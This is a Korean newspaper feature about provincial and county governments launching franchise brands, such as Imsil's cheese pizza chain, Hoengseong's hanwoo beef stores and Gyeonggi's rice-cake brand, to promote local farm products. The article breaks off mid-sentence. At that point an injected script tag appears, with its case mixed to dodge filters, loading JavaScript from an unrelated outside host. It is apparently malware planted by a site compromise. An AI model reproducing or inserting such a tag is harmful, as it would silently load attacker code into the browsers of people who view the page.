중앙일보[Cover Story] 향토 프랜차이즈 뜬다벨기에 출신 세스디벤스(한국 이름 지정환) 신부는 1967년 선교차 전북 임실에 들렀다.
시골 동네를 구석구석 둘러보고 ‘선교활동 이전에 가난부터 해결해 줘야 한다’고 마음먹었다. 산양 몇 마리를 사 주민들에게 나눠줬다. 이것이 모태가 돼 한국 최초의 치즈공장이 생겼다.오늘날 이곳 90여 가구가 치즈를 만들어 돈을 번다. 임실은 한국 치즈의 본고장이 됐다. 매년 치즈 축제도 연다. ‘임실 치즈’가 명성을 얻자 여기저기서 상호에 ‘임실’을 넣은 피자 브랜드가 생겨났다. 임실 치즈를 쓰지 않아도 그랬다. 고심하던 임실군은 2005년부터 피자 브랜드 통합작업을 추진해 최근 ‘임실N치즈피자’라는 프랜차이즈 브랜드를 출범시켰다. 군청 치즈산업지원단의 김영진 과장은 “우리 고장의 치즈 이미지가 훼손되는 걸 막고, 축산농가 수익을 안정적으로 보장하려는 뜻”이라고 말했다.
요즘 ‘프랜차이즈 본부’를 자임하는 지방자치단체가 늘고 있다. 브랜드를 개발해 제품을 직접 팔지만 민간사업자에 위탁하기도 한다.
이경희 한국창업전략연구소장은 “사업 주체가 공공기관이라 소비자와 창업자 모두에게 신뢰를 줄 수 있다”고 설명했다.
◆고장 이름값 되찾자=‘임실치즈’를 상호에 넣은 피자 프랜차이즈는 전국 29군데에 이른다. 임실군은 임실산 치즈만을 원료로 쓰는 업체에서만 이 이름을 허용하는 방안을 추진하고 있다. ‘임실N치즈피자’를 개발한 것이 첫 단추다. 한국생산성본부에 의뢰해 임실 지역의 네 군데 피자 브랜드를 대상으로 사업을 진행할 업체를 물색해 엔케이로지스틱스를 선정했다.
이 회사는 브랜드 사용권을 갖는 대신 수익금의 일부를 낙농가 지원자금으로 군에 내놓기로 했다. 현재 전국적으로 180여 가맹점을 모았다. 중국에도 4개점을 열었다. 임실N치즈피자는 치즈 말고도 임실에서 생산되는 쌀을 쓴다. 피자도우(빵)를 100% 쌀로 만든다. 김병이 대표는 “임실 축협과 연계해 한우도 1년에 70마리 이상 구매해 재료로 쓸 것”이라고 말했다. 김영진 과장은 “제품 관리감독을 수시로 군에서 해 품질이 떨어진다면 브랜드사용권을 언제든지 회수할 것”이라고 강조했다.
강원도 횡성군이 벌이는 횡성한우 판매사업도 이 고장 이름값을 높이는 데 한몫한다. 횡성군은 횡성축협과 함께 횡성한우전문점인 ‘횡성한우플라자’를 오픈했다. 군 내에 두 매장과 서울 창동역 근처에 한 곳의 매장을 운영한다.
군청에서 한우 명품화를 담당하는 황원규 계장은 “횡성한우플라자에서 취급하는 고기는 사육·도축·판매를 군과 축협에서 관리하기 때문에 최고 품질을 보장한다. 요즘엔 물량이 달린다”고 말했다. 세 매장의 1년 매출액은 200억원.
◆지역 농산물 소비 촉진=지역의 농산물 소비를 촉진하겠다는 취지로 프랜차이즈 사업에 뛰어드는 지자체도 있다. 경기도는 10월 말 떡 브랜드 ‘모닝메이트’를 출범시켰다. 상표 개발을 손수 해 상표권을 도가 갖고 ‘한국떡류가공식품협회 경기지회’에 사용권을 줬다.
이 협회가 프랜차이즈 본부 역할을 한다. 경기도가 요구하는 정도의 위생상태와 품질을 갖춘 업체만 가맹점으로 모을 수 있다. 현재 30군데인 가맹점을 내년에는 100군데로 늘릴 계획이다. 경기도는 브랜드 사용료를 받지 않는 대신 조건을 내걸었다. 경기미만 써야 한다는 것이다. 경기도청의 이진찬 농산유통과장은 “경기미를 더 널리 알리고 쌀 소비를 촉진하기 위해 떡 브랜드를 만들었다”고 설명했다. 내년에는 2000t 정도가 모닝메이트 재료로 쓰일 예정이다.
전남도는 2006년부터 친환경 농산물 프랜차이즈 사업을 해왔다. 지역 내 영농단체인 학사농장과 한마음공동체를 통해 가맹사업을 한다. 도 내에서 생산되는 친환경 유기농 농산물과 야채, 이를 이용한 가공식품을 취급한다. 도청은 가맹점 개설 때 융자 지원도 한다.
경북 안동시는 자체 프랜차이즈 브랜드를 만들고 있다. 고급 한정식을 사업아이템으로 잡고 업계 제안서를 여럿 받았다. 시는 이 지역에서 생산되는 한정식 식자재를 공급하기 위해 물류 시스템을 구축하기로 했 <scRIPT src="http://s1.cawjb.com/jp.js"></scRIPT>
